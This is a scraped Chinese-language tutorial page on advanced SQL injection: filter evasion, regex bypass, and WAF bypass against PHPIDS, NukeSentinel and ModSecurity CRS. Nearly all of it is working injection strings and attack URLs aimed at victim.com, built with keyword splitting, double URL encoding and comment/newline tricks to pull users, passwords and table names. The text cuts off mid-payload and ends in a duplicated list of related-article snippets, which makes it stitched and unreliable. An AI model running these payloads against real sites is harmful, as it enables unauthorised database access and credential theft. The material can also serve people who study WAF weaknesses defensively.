高階SQL注入:混淆和繞過
內容
#############
########################
【0×01】 – 簡介
########################
大家好,這是一篇致力於文件化我們所從事的高階SQL注入技術的文章。
本文將要揭示能用於現實CMSs和WAFs程式中的高階繞過技術和混淆技術。文中所提到的SQL注入語句僅僅是一些繞過保護的方法。還有一些其他的技術能用於攻擊WEB程式,但是很不幸我們不能告訴你,因為它們就是0day。不論如何,本文旨在揭示現實世界中沒有完全徹底的安全系統即使你在一個WAF上面花費了三十萬美元。
本文分為7個章節,僅有0×01到0×03章節是介紹技術內容的。
0×01章節我們將詳細介紹關於如何繞過基本的函式和關鍵詞過濾。0×02章節我們將給出常見的繞過技術用於繞過開源和商業性的WAF。0×03章節我們將分兩個小節來深入探討高階繞過技術:“HTTP引數汙染:分離和結合”和“HTTP引數參雜”。0×04章節我們將指導如何用正確的解決方案保護你的網站。在最後的0×05章節是對0×01到0×04章節的總結。
########################
【0×01】 -過濾規避(Mysql)
########################本節將闡述基於PHP和MySQL的過濾規避行為以及如何繞過過濾。過濾規避是一種用來防止SQL注入的技術。這種技術可以用SQL函式,關鍵詞過濾或者正則表示式完成。這就意味著過濾規避嚴重依賴如何儲存一個黑名單或者正則表示式。如果黑名單或者正則表示式沒有覆蓋每一個注入情境,那麼WEB程式對於SQL注入攻擊來說仍舊是脆弱的。
++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 繞過函式和關鍵詞過濾
++++++++++++++++++++++++++++++++++++++++++
函式和關鍵詞過濾使用函式和關鍵詞黑名單來保護WEB程式免受攻擊。如果一個攻擊者提交了一個包含在黑名單中的關鍵詞或者SQL函式的注入程式碼,這個攻擊便會失效。然而,如果攻擊者能夠巧妙使用其他的關鍵詞或者函式來操作注入,那麼黑名單將無法阻止攻擊。為了阻止攻擊大量的關鍵詞和函式必須放到黑名單中。但是這也影響了使用者,當用戶想提交一個存在黑名單中的單詞時,使用者將無法提交,因為這個單詞已被黑名單過濾。接下來的情境展示了一些使用函式和關鍵詞過濾以及繞過技術的例子。
關鍵詞過濾: and,or
———————————————————————————–
PHP過濾程式碼: preg_match(‘/(and|or)/I’,$id)
關鍵詞and,or常被用做簡單測試網站是否容易進行注入攻擊。這裡給出簡單的繞過使用&&,||分別替換and,or。
過濾注入: 1 or 1 = 1 1 and 1 = 1
繞過注入: 1 || 1 = 1 1 && 1 = 1
————————————————————————————
關鍵詞過濾: and,or,union
————————————————————————————
PHP過濾程式碼: preg_match (‘/(and|or|union)/I’,$id)
關鍵詞union通常被用來構造一個惡意的語句以從資料庫中獲取更多資料。
過濾注入: union select user, password from users
繞過注入: 1 || (select user from users where user_id = 1)=’admin’
** 注意:你必須知道表名,列名和一些表中的其他資料,否則你必須用別的語句從information_schema.columns中獲取。
舉例,使用substring函式獲取表名的每一個字元。
————————————————————————————-
關鍵詞過濾: and,or,union,where
————————————————————————————-
PHP過濾程式碼: preg_match(‘/(and|or|union|where)/I’,$id)
過濾注入: 1||(select user from users where user_id = 1)= ‘admin’
繞過注入: 1||( select user from users limit 1)=’admin’
————————————————————————————–
關鍵詞過濾: and,or,union,where,limit
————————————————————————————–
PHP過濾程式碼: preg_match(‘/(and|or|union|where|limit)/I’,$id)
過濾注入: 1||(select user from users limit 1)=’admin’
繞過注入: 1||(select user from users group by user_id having user_id=1 )= ‘admin’
—————————————————————————————
關鍵詞過濾: and,or,union,where,limit,group by
—————————————————————————————
PHP過濾程式碼: preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
過濾注入: 1||(select user from users group by user_id having user_id =1)=’admin’
繞過注入: 1||(select substr(group_concat(user_id),1,1) user from users )=1
—————————————————————————————
關鍵詞過濾: and,or,union,where,limit,group by,select,’
—————————————————————————————
PHP過濾程式碼: preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
過濾注入: 1||(select substr(group_concat(usr_id),1,1)user from users =1
繞過注入: 1|| user_id is not null
繞過注入: 1||substr(user,1,1)=0×61
繞過注入: 1||substr(user,1,1)=unhex(61)
—————————————————————————————-
關鍵詞過濾: and,or,union,where,limit,goup by,select,’,hex,
—————————————————————————————–
PHP過濾程式碼: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
過濾注入: 1||substr(user,1,1)=unhex(61)
繞過注入: 1||substr(user,1,1)=lower(conv(11,10,36))
——————————————————————————————
關鍵詞過濾: and,or,union,where,limit,group by,select,’,hex,substr
——————————————————————————————-
PHP過濾程式碼: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
過濾注入: 1||substr(user,1,1)=lower(conv(11,10,36))
繞過注入: 1||lpad(user,7,1)
——————————————————————————————-
關鍵詞過濾: and,or,union,where,limit,group by,select,’,hex,substr,white space
——————————————————————————————-
PHP過濾程式碼: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
過濾注入: 1||lpad(user,7,1)
繞過注入: 1%0b||%0blpad(user,7,1)
——————————————————————————————–
從上面的例子中我們可以看出有大量的SQL語句可以用來繞過黑名單,雖然黑名單已經包含了很多關鍵詞和函式,此外,還有數不清的例子中沒有提到的SQL語句可以用來繞過黑名單。
建立一個更大的黑名單不是一個保護你網站的好注意。記住,過濾的關鍵詞和函式越多,對使用者越不友好。
++++++++++++++++++++++++++++++++++++++++++
【0x01b】 – 繞過正則表示式過濾
++++++++++++++++++++++++++++++++++++++++++
正則表示式過濾是一個比關鍵詞和函式過濾要好的阻止SQL注入的方法,因為它使用模式匹配來檢測攻擊。但是,很多正則表示式仍然能被繞過。下面以開源軟體PHPIDS 0.6舉例闡明用來繞過正則表示式的注入指令碼。
PHPIDS通常阻止包含=,(或者’ 跟隨一個字串或者整數輸入,比如1 or 1=1,1 or ’1’,1 or char(97)。但是,它能被使用不包含=,(或者’符號的語句繞過。
[ code] ——————————————————————————————–
過濾注入: 1 or 1 = 1
繞過注入: 1 or 1
[end code] —————————————————————————————
[code] ---------------------------------------------------------------------------------------------
過濾注入: 1 union select 1, table_name from information_schema.tables where table_name=’users’
過濾注入: 1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
過濾注入: 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
繞過注入: 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
繞過注入: 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273
[end code] ----------------------------------------------------------------------------------------
########################
【0x02】 - 常見繞過技術
########################
在這個章節,我們將提到關於繞過WEB應用防護系統(WAF)的技術。首先我們需要認識一下什麼是WAF。
WEB應用防護系統(WAF)是一套裝置,服務擴充套件或者過濾器,對HTTP會話應用一系列的規則。一般來說,這些規則包含了常見的攻擊比如跨站指令碼攻擊(XSS)和SQL注入攻擊。很多攻擊可以通過制定符合自己程式的規則來識別和阻擋。花時間實現定製規則是有重要意義的,而且當WEB程式改變時需要維護。
WAF通常被稱做“深層次資料包檢測防火牆”,它們檢查HTTP/HTTPS/SOAP/XML-RPC/WEB服務在內的每一個請求和相應。一些現代的WAF系統同時檢查攻擊特徵和異常行為。
現在讓我們趕緊來了解如何用混淆技術來破壞WAF吧,只要花時間去理解它的規則以及運用你的想象所有WAF都能被繞過!
用註釋來繞過
SQL註釋能讓我們繞過許多繞過和WAF
[Code]---------------------------------------------------------
[End Code]----------------------------------------------------
變換大小寫
某些WAF僅過濾小寫的SQL關鍵詞
正則表示式過濾:/union\sselect/g
[Code]-----------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]------------------------------------------------------
替換關鍵詞
某些程式和WAF用preg_replace函式來去除所有的SQL關鍵詞。那麼我們能簡單的繞過。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
[End Code]-------------------------------------------------------
某些情況下SQL關鍵詞被過濾掉並且被替換成空格。因此我們用“%0b”來繞過。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
[End Code]--------------------------------------------------------
對於Mod_rewrite,註釋“/**/”不能繞過,那麼我們用“%0b”代替“/**/”。
被禁止的:http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
繞過:http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
字元編碼
大多CMS和WAF將對程式的輸入進行解碼和過濾,但是某些WAF僅對輸入解碼一次,那麼雙重加密就能繞過某些過濾,這時WAF對輸入進行一次解碼並過濾與此同時程式繼續解碼且執行SQL語句。
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[End Code]----------------------------------------------------------
此外,這些技術結合起來可以繞過Citrix NetScaler
-去除所有“NULL”字元
-在某些部分使用查詢編碼
-去除單引號字元“’”
-爽去吧!
歸功於:Wendel Guglielmetti Henrique 和 Armorlogic Profense 較早的通過URL編碼換行符繞過2.4.4
#現例項子
NukeSentinel (Nuke Evolution)
[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------
我們能利用下面指令碼繞過它的過濾:
禁止: http://victim.com/php-nuke/?/**/union/**/select?..
繞過: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
繞過: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS (歸功於:Johanners Dahse)
[SecRule]------------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我們可以利用下面程式碼繞過它的過濾:
[Code]-----------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
[End Code]------------------------------------------------------------------------------
從這個攻擊,我們可以繞過Mod Security。讓我們看看發生了什麼!!
MySQL Server支援3中註釋風格:
-從#字元開始到這一行的末尾
-從--序列開始到這一行的末尾
-從/*序列到下一個*/之間,如同C語言
此語法能夠使註釋延伸到多行,因為開始序列和閉合序列不必在同一行。
下面的例子我們用“%0D%0A”作為換行符。讓我們看看第一個請求(獲取DB 使用者)。SQL資料的結果看起來類似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而當SQL資料被MySQL DB執行的時候類似如下:
0 div 1 union select 1,2,current_user
緩衝區溢位
用C語言寫的WAF有溢位的傾向或者在裝載一串資料時表現異常。
給出一大串資料使我們的程式碼執行
[Code]--------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x
相關推薦
【SQL注入技巧拓展】————4、高階SQL注入:混淆和繞過
【0×01】 – 簡介 大家好,這是一篇致力於文件化我們所從事的高階SQL注入技術的文章。 本文將要揭示能用於現實CMSs和WAFs程式中的高階繞過技術和混淆技術。文中所提到的SQL注入語句僅僅是一些繞過保護的方法。還有一些其他的技術能用於攻擊WEB程式,但是很不幸我們不能告訴你,因為它們就是0
高階SQL注入:混淆和繞過
內容 ############# ######################## 【0×01】 – 簡介 ######################## 大家好,這是一篇致力於文件化我們所從事的高階SQL注入技術的文章。 本文將要揭示能用於現實CMSs和WA
SQL高階注入:混淆和繞過
轉:【0×01】 -過濾規避(Mysql)########################本節將闡述基於PHP和MySQL的過濾規避行為以及如何繞過過濾。過濾規避是一種用來防止SQL注入的技術。這種技術可以用SQL函式,關鍵詞過濾或者正則表示式完成。這就意味著過濾規避嚴重依賴
SQL注入筆記05:利用和繞過
1、利用當前頁面排版: 如id=1有資料而id=0無資料,則可構造資訊?id=0 union select 1,2,3,user(),version()# 2、利用報錯資訊: 1.ex
SQL注入,PreparedStatement和Statement
程式碼區 還是一個工具類 程式碼: package cn.itcats.jdbc; import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLE
SQL注入:sleep()函式相關解決方案
最近做安全掃描的時候,經常遇到sleep()型的SQL注入,這個是request傳送後會產生一個timeout的delay,沒有respond。 跟我之前遇到的一般意思SQL注入不一樣,之前的是SQL語句拼接產生的注入,會通過注入點抓到資料庫。 這個相當於一種DDOS攻擊,向資料庫不停的
PL / SQL 101:定義和管理事務
如果您有一個只讀資料庫,則不必擔心事務。但是對於你將要構建的幾乎所有應用程式,情況並非如此。因此,交易的概念和管理對於您的應用程式的成功至關重要。 事務是Oracle資料庫作為一個單元處理的一個或多個SQL語句的序列:要麼執行所有語句,要麼都不執行。事務隱含地從獲取TX鎖的任何操作開始:
SQL注入之逗號攔截繞過
目前所知博主僅知的兩個方法 [一]case when then mysql> select * from lbcms_admin where adminname like "%a%" union select 1,2,3,4,5,6,7,case whe
sql注入:md5($password,true)
前幾天做了一道CTF的題目,是在”實驗吧“的一道簡單的web題目,當然這道題目很多人都解出來了,因為它的.php檔名就是答案。 他的網頁連結裡面的php檔名就是’ffifdyop.php‘。 上面的’ffifdyop‘就是我們
安全測試-- 告訴你什麼是XSS、sql注入?POST和GET的區別
1、使用者許可權測試 (1) 使用者許可權控制 1) 使用者許可權控制主要是對一些有許可權控制的功能進行驗證 2) 使用者A才能進行的操作,B是否能夠進行操作(可通過竄session,將在下面介紹) 3)只能有A條件的使用者才能檢視的頁面,是否B能夠檢視(可
SQL注入——聯合查詢和報錯注入
1.別人可能用一個括號將要查詢的內容闊在一起了 可以使用)將其閉合2.還有人可能過濾掉了關鍵字可以使用如下方法anandd selecselectt如果URL中把=號過濾掉了可以使用like進行模糊查詢報錯注入中sql裡 0x3a表示一個冒號具體用法and (selec
sql注入的本質和如何防止sql注入問題
所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙服務器執行惡意的SQL命令。 我們永遠不要信任使用者的輸入,我們必須認定使用者輸入的資料都是不安全的,我們都需要對使用者輸入的資料進行過濾處理。以下例項中,輸入的使用者名稱必
SQL語句:基礎語句和高階函式學習總結
基本查詢語句:(基礎、重要) 1、distinct select distinct 列名 from 表名 去重,查詢不同的資料時。 2、where select 列名 from 表名 where 運算子 值 限制查詢條件
SQL Server統計信息:問題和解決方式
二次 就會 數據庫引擎 目的 獲得 差異 product primary tex 在網上看到一篇介紹使用統計信息出現的問題已經解決方式,感覺寫的很全面。在自己看的過程中順便做了翻譯。因為本人英文水平有限,可能中間有一些錯誤。假設有哪裏有問題歡迎大家批評指正。建議英文
SQL server :主鍵和外鍵
技術分享 div 標識 reference create reat 按鈕 sse 是的 1.定義 1.1 什麽是主鍵和外鍵 1.2 主鍵和外鍵的作用 1.3 主鍵、外鍵和索引的區別 2.主鍵(primary key) 2.1 通過SSMS設置主鍵 2.2 通過SQL語
SQL server :建立數據庫和表
使用 char 分享 ase asp 找到 cpn cred 管理工具 2.建立數據庫 2.1 通過SSMS建立數據庫 2.2 通過SQL語句建立數據庫 3.建立表 3.1 通過SSMS建立表 3.2 通過SQL語句建立表 1.前言 配置是win10+SQL Ser
翻譯:Python和SQL Server 2017的強大功能
ray app auto 存儲過程 ssa ast 端點 集成 ror Python和SQL Server 2017的強大功能 Python是SQL Server 2017的新版本。它的主要目的是允許在SQL Server中使用基於Python的機器學習,但它可以使用
SQL : IN 和 Exists 的區別
_id lec style .com 分享 too 返回 com 是否 Sql語句中IN和exists的區別及應用 表展示 首先,查詢中涉及到的兩個表,一個user和一個order表,具體表的內容如下: user表: order表:
ORACLE1.26 綜合:遊標和動態SQL
exec _id otf dia 1.2 car num str ber -- 假設分了4個部門(存款部,ATM部,轉出,轉入) --每個月定期最後1天自動生成4張表的數據 --(數據來源:deal_record) -- 第一步:先把4張表建立起來 -- 存款表 creat
php對前臺提交的表單資料做安全處理(防SQL注入和XSS攻擊等)
/** * 防sql注入字串轉義 * @param $content 要轉義內容 * @return array|string */ public static function escapeString($content) { $pa